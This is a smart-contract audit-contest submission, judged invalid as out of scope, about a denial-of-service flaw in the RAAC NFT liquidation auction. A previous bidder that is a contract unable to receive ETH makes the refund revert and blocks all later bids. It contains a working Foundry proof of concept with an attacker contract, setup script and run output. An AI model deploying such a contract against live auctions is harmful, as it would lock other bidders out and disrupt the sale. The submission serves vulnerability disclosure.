Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
Submission Details
Severity: medium
Invalid

DoS vulnerability when someone attempts to become a bidder

Author Revealed upon completion

Summary

function placeBid(uint256 tokenId) external payable {
TokenData storage data = tokenData[tokenId];
if (block.timestamp >= data.auctionEndTime) revert AuctionHasEnded();
uint256 minBidAmount = data.highestBid + (data.highestBid * minBidIncreasePercentage / 100);
if (msg.value <= minBidAmount) revert BidTooLow(minBidAmount);
if (data.highestBidder != address(0)) {
payable(data.highestBidder).transfer(data.highestBid);
}
data.highestBid = msg.value;
data.highestBidder = msg.sender;
emit BidPlaced(tokenId, msg.sender, msg.value);
}

In the placeBid() function, when refunding the previous bidder (attacker contract), if the previous bidder is a contract and does not implement a receive() or fallback() function, the refund will always revert. This can be exploited to perform a DoS attack.

Vulnerability Details

  • first issue

    • When a new bid is placed, the contract sends ETH to the previous highest bidder before updating the new highest bid.

    • If the previous bidder is a malicious contract, it can re-enter placeBid during the refund process and manipulate the auction.

  • second issue

    • When using the transfer() function to send funds to a contract address, if the target contract does not implement a receive() or fallback() function, the transfer will revert. This behavior can be exploited to execute a DoS attack.

Scenario

  1. Implement an attack contract. Do not implement the receive() or fallback() functions.

  2. Register your bid.

  3. Now, when someone else tries to outbid, a DoS attack will continuously occur.

PoC

npm run node
npm run dev
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import {console, Script} from "forge-std/Script.sol";
import {RAACNFT} from "../src/contracts/core/tokens/RAACNFT.sol";
import {NFTLiquidator} from "../src/contracts/core/pools/StabilityPool/NFTLiquidator.sol";
import {RAACHousePrices} from "../src/contracts/core/primitives/RAACHousePrices.sol";
import {RAACToken} from "../src/contracts/core/tokens/RAACToken.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract BIDDER3 {
constructor() payable {
}
// For the DoS attack, there are no fallback or receive() functions implemented
}
contract StabilityPool {
NFTLiquidator public nftliquidator;
constructor(address _nftLiquidator) {
nftliquidator = NFTLiquidator(_nftLiquidator);
}
function triggerLiquidation(uint256 tokenId, uint256 debt) external {
nftliquidator.liquidateNFT(tokenId, debt);
}
}
contract Solve is Script, Test{
RAACNFT public raacnft;
NFTLiquidator public nftliquidator;
StabilityPool public stabilitypool;
RAACHousePrices public raac_hp;
RAACToken public raactoken;
//IERC20 public raactoken;
BIDDER3 public bidder3;
address public useraddr = vm.envAddress("AASD");
// The balance of DUMMYWALLET is intended to be transferred to the attack contract
address public DUMMYWALLET = vm.envAddress("DUMMYWALLET");
address public BIDDER1 = vm.envAddress("BIDDER1");
address public owner = vm.envAddress("OWNER");
address public RAACHOUSEPRICES_ADDR = vm.envAddress("RAACHousePrices");
address public CRVUSD_ADDR = vm.envAddress("CRV_USD");
address public RAACNFT_ADDR = vm.envAddress("NFT_CONTRACT");
address public RAACTOKEN_ADDR = vm.envAddress("RAACTOKEN");
address public STABILITYPOOL_ADDR;
constructor() {
nftliquidator = new NFTLiquidator(CRVUSD_ADDR, RAACNFT_ADDR, owner, 5);
stabilitypool = new StabilityPool(address(nftliquidator));
bidder3 = new BIDDER3();
STABILITYPOOL_ADDR = address(stabilitypool);
raac_hp = RAACHousePrices(RAACHOUSEPRICES_ADDR);
raacnft = RAACNFT(RAACNFT_ADDR);
raactoken = RAACToken(RAACTOKEN_ADDR);
}
function init() internal {
vm.startPrank(owner);
raactoken.setMinter(owner);
raactoken.mint(useraddr, 1000 ether);
raac_hp.setOracle(owner);
raac_hp.setHousePrice(1, 100 ether);
nftliquidator.setStabilityPool(address(stabilitypool));
vm.stopPrank();
vm.startPrank(useraddr);
raactoken.approve(address(raacnft), 100 ether);
raacnft.mint(1, 100 ether);
raacnft.transferFrom(useraddr, address(stabilitypool), 1);
vm.stopPrank();
vm.startPrank(STABILITYPOOL_ADDR);
raacnft.approve(address(nftliquidator), 1);
vm.stopPrank();
stabilitypool.triggerLiquidation(1, 90 ether);
vm.startPrank(DUMMYWALLET);
bidder3 = new BIDDER3{value:9000 ether}();
vm.stopPrank();
}
function run() public {
init(); // This is the initial setup function for launching the auction
uint256 auctionEndTime;
address highestBidder;
(, auctionEndTime,,) = nftliquidator.tokenData(1);
require(auctionEndTime > 0, "The auction for the 1st NFT has not started");
require(address(bidder3).balance == 9000 ether, "The contract's balance is insufficient for the DoS attack");
console.log("Attacker's CA balance : ", address(bidder3).balance);
/*
First, an EOA attempts to bid and secures the highestBidder position
Second, an attack contract (CA) attempts to bid and seizes the highestBidder position
Third, another EOA attempts to bid to take over the highestBidder position.
However, because the attack contract (CA) does not implement the fallback or receive functions,
a DoS condition occurs, preventing the bid from succeeding
*/
vm.startPrank(BIDDER1);
nftliquidator.placeBid{value : 100 ether}(1);
(,,, highestBidder) = nftliquidator.tokenData(1);
assert(highestBidder == BIDDER1);
vm.stopPrank();
vm.startPrank(address(bidder3));
nftliquidator.placeBid{value : 200 ether}(1);
(,,, highestBidder) = nftliquidator.tokenData(1);
assert(highestBidder == address(bidder3));
vm.stopPrank();
vm.startPrank(BIDDER1);
vm.expectRevert(); // A revert occurs during the refund process to the previous bidder
nftliquidator.placeBid{value : 250 ether}(1);
vm.stopPrank();
console.log("Due to the DoS, it always reverts");
}
}
AASD=0xdF3e18d64BC6A983f673Ab319CCaE4f1a57C7097
DUMMYWALLET=0xdD2FD4581271e230360230F9337D5c0430Bf44C0
BIDDER1=0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
OWNER=0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
CRV_USD=0x06B0A733D42DFa3d650f06ACA52996ee31D8B320
RAACTOKEN=0x85608d50f5648bA83DBF83eE48DEa13640fEfF04
RAACHousePrices=0x7Ec98A3D69fEEc423131B909b8Cf71997F2FaE92
NFT_CONTRACT=0x9d2DC5a633c2E4291df39CC1d5A69CaB8aF2E842
❯ forge script --rpc-url $RPC_URL Solve -vvv
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.28
[⠑] Solc 0.8.28 finished in 500.51ms
Compiler run successful!
Script ran successfully.
== Logs ==
Attacker's CA balance : 9000000000000000000000
Due to the DoS, it always reverts

Recommendations

before transferring funds to the previous bidder, update the information of the next bidder.

Updates

Lead Judging Commences

inallhonesty Lead Judge 8 days ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.